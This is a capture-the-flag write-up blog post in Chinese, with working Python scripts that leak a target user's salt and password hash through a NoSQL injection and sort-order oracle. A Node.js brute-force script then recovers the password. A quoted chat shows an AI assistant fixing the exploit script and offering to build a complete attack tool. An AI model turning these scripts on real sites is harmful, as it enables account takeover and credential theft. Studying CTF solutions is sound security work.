强网杯


anime

找到了原题[Writeup] - HCMUS CTF Quals (2025) | d4kw1n

先注册一个123/123,记下cookie

于是改一下脚本就能跑,这里要注意把 res = session.get(f"{URL}/users?limit=300&sort=salt", cookies=cookies)里的limit改大一点,不然出不来,因为这个是根据据排序爆出来的。然后具体数字可以在/users?limit=300&sort=salt手动调一下,感觉200就已经有全部人了。

import requests
from bs4 import BeautifulSoup

URL = "http://47.105.120.74:1006"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]

session = requests.Session()
cookies = {
    "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjMifX0=",
    "session.sig": "4YqRkiiyXyvor1PgLdsn1oAO9pg"
}

username = "123"
target = "TTXSMcc"  # 你想泄露谁的 salt/hash 就改成谁

salt = ""
for index_salt in range(32):
    for i in range(len(wordlist)):
        data = {
            "data.fullname": username,
            "data.email": "",
            "secret[$ne]": "null",
            "salt": f"{salt}{wordlist[i]}"
        }
        session.post(f"{URL}/user/{username}/edit", data=data, cookies=cookies)
        res = session.get(f"{URL}/users?limit=300&sort=salt", cookies=cookies)
        soup = BeautifulSoup(res.text, 'html.parser')
        users = [a.text.strip() for a in soup.find_all('a', class_='anime_title')]

        if target in users and username in users:
            # 如果你在目标后面 => 猜大了
            if users.index(username) > users.index(target):
                salt += wordlist[i - 1]
                print(f"Found salt: {salt}")
                break

print(f"Final salt: {salt}")

然后爆hash的话改一下参数和 range(32)=> range(64)就行

import requests
from bs4 import BeautifulSoup

URL = "http://47.105.120.74:1006"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]

session = requests.Session()
cookies = {
    "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjMifX0=",
    "session.sig": "4YqRkiiyXyvor1PgLdsn1oAO9pg"
}

username = "123"
target = "TTXSMcc"  # 你想泄露谁的 salt/hash 就改成谁

hashed = ""
for index_salt in range(64):
    for i in range(len(wordlist)):
        data = {
            "data.fullname": username,
            "data.email": "",
            "secret[$ne]": "null",
            "hash": f"{hashed}{wordlist[i]}"
        }
        session.post(f"{URL}/user/{username}/edit", data=data, cookies=cookies)
        res = session.get(f"{URL}/users?limit=300&sort=hash", cookies=cookies)
        soup = BeautifulSoup(res.text, 'html.parser')
        users = [a.text.strip() for a in soup.find_all('a', class_='anime_title')]

        if target in users and username in users:
            # 如果你在目标后面 => 猜大了
            if users.index(username) > users.index(target):
                hashed += wordlist[i - 1]
                print(f"Found salt: {hashed}")
                break

print(f"Final hash: {hashed}")

然后跑出来

salt = "c8eb3c22ae12612355a8b73d0e0ccbda";
target_hash ="2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c97"

发现一直爆不出密码

然后看了看脚本发现是这里的问题

if users.index(username) > users.index(target):
    salt += wordlist[i - 1]

当猜到最后一个字符时,i 对应 b,然后判断 username > target → 回退一位 i-1 = a。这个回退逻辑会导致最终结果比真实值小 1 个字母。

所以正确的是最后一位加1即可

salt = "c8eb3c22ae12612355a8b73d0e0ccbdb";
target_hash ="2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98"

最后用[Writeup] - HCMUS CTF Quals (2025) | d4kw1n里的脚本跑就行。

const crypto = require("crypto");

const salt = "c8eb3c22ae12612355a8b73d0e0ccbdb";
const target_hash ="2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98";

for (let i = 80000; i <= 99999; i++) {
    const password = i.toString().padStart(5, "0");
    const hash = crypto
        .pbkdf2Sync(password, salt, 25000, 32, "sha256")
        .toString("hex");
    if (hash === target_hash) {
        console.log("Found password:", password);
        process.exit(0);
    }
    if (i % 1000 === 0) {
        console.log("Tried:", password);
    }
}
console.log("Password not found");

然后爆出密码是89195

登上后再将TTXSMcc的一个大写字母改成小写即可绕过缓存检查,拿到flag


跟ai的一些对话:

import requests

URL = "http://47.105.120.74:1001/"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]

session = requests.Session()
cookies = {
 "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=;",
 "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI"
}

salt = ""
for index_salt in range(32):
 for i in range(len(wordlist)):
     data = {
         "data.fullname": "123456",
         "data.email": "",
         "secret[$ne]": "null",
         "salt": f"{salt}{wordlist[i]}"
     }
     session.post(f"{URL}/user/abc/edit", data=data, cookies=cookies)
     res = session.get(f"{URL}/users?limit=1&sort=salt", cookies=cookies)
     if "Throughout Heaven and Earth, I alone am the honored one" in res.text:
         salt += wordlist[i - 1]
         print(f"Found salt: {salt}")
         break

print(f"Final salt: {salt}")
这个有问题吗,我注册了一个123456/123456,然后cookie也是ta的

你写得已经非常接近正确了 👍,不过这里确实有几处 细节问题 导致可能无法正常工作(或永远不进入 if)。我来帮你逐行分析,并告诉你如何改对。


🧩 问题分析

1️⃣ URL 拼写有误

你这里写的是:

URL = "http://47.105.120.74:1001/"

而后面请求时拼上了:

session.post(f"{URL}/user/abc/edit", ...)

结果实际请求路径会变成:

http://47.105.120.74:1001//user/abc/edit

(多了一个 /
虽然有些服务器能容忍,但有些 Express 路由会匹配失败。
✅ 建议写成:

URL = "http://47.105.120.74:1001"

2️⃣ 你发 POST 的用户名和 cookie 不一致

你注册的账号是 123456/123456
那说明当前登录的用户是 123456

但是你发请求时却写:

session.post(f"{URL}/user/abc/edit", ...)

这个 /user/abc/edit 其实会被后端拒绝。
因为后端逻辑里检查了:

if (user.data.username !== req.user.username) {
throw new Error('No IDOR for u');
}

也就是说,只能修改自己的账户。

✅ 改成:

session.post(f"{URL}/user/123456/edit", data=data, cookies=cookies)

你的 cookies 里这样写:

cookies = {
 "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=;",
 "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI"
}

注意 "session" 的值后面多了一个分号 ;
这会导致 cookie 解析失败(requests 会认为 session 的值包含分号)。

✅ 改成:

cookies = {
 "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=",
 "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI"
}

4️⃣ 判断条件不一定对

你写的判断条件是:

if "Throughout Heaven and Earth, I alone am the honored one" in res.text:

这句话来自原题(Dat2Phit 那道),是某个用户简介或用户名。
⚠️ 但你这个新环境 可能目标用户名不同,所以这个条件不会触发。

✅ 应该替换成你要对比的目标用户(例如目标是 admindat2phit):

if "123456" not in res.text:  # 如果自己被排在后面
 salt += wordlist[i - 1]
 print(f"Found salt: {salt}")
 break

或者,更严谨地解析 HTML 排序结果(用 BeautifulSoup 查找顺序),像这样:

from bs4 import BeautifulSoup

res = session.get(f"{URL}/users?limit=10&sort=salt", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = [a.text for a in soup.find_all('a', class_='anime_title')]

if '目标用户名' in users and '123456' in users:
 if users.index('123456') > users.index('目标用户名'):
     salt += wordlist[i - 1]
     print(f"Found salt: {salt}")
     break

✅ 修正版脚本

import requests
from bs4 import BeautifulSoup

URL = "http://47.105.120.74:1001"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]

session = requests.Session()
cookies = {
 "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=",
 "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI"
}

username = "123456"
target = "admin"  # 你想泄露谁的 salt/hash 就改成谁

salt = ""
for index_salt in range(32):
 for i in range(len(wordlist)):
     data = {
         "data.fullname": username,
         "data.email": "",
         "secret[$ne]": "null",
         "salt": f"{salt}{wordlist[i]}"
     }
     session.post(f"{URL}/user/{username}/edit", data=data, cookies=cookies)
     res = session.get(f"{URL}/users?limit=10&sort=salt", cookies=cookies)
     soup = BeautifulSoup(res.text, 'html.parser')
     users = [a.text.strip() for a in soup.find_all('a', class_='anime_title')]

     if target in users and username in users:
         # 如果你在目标后面 => 猜大了
         if users.index(username) > users.index(target):
             salt += wordlist[i - 1]
             print(f"Found salt: {salt}")
             break

print(f"Final salt: {salt}")

🚀 总结:你脚本的问题

问题点 原因 修复
URL 多了 / 拼接路径错误 去掉末尾 /
/user/abc/edit 只能改自己账号 改为 /user/123456/edit
Cookie 含分号 破坏解析 去掉分号
判断字符串不匹配 不同题环境 改成解析排序或换关键字

要不要我帮你补上 hash 泄露 + 自动爆破部分,整成一个完整的可用脚本?


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录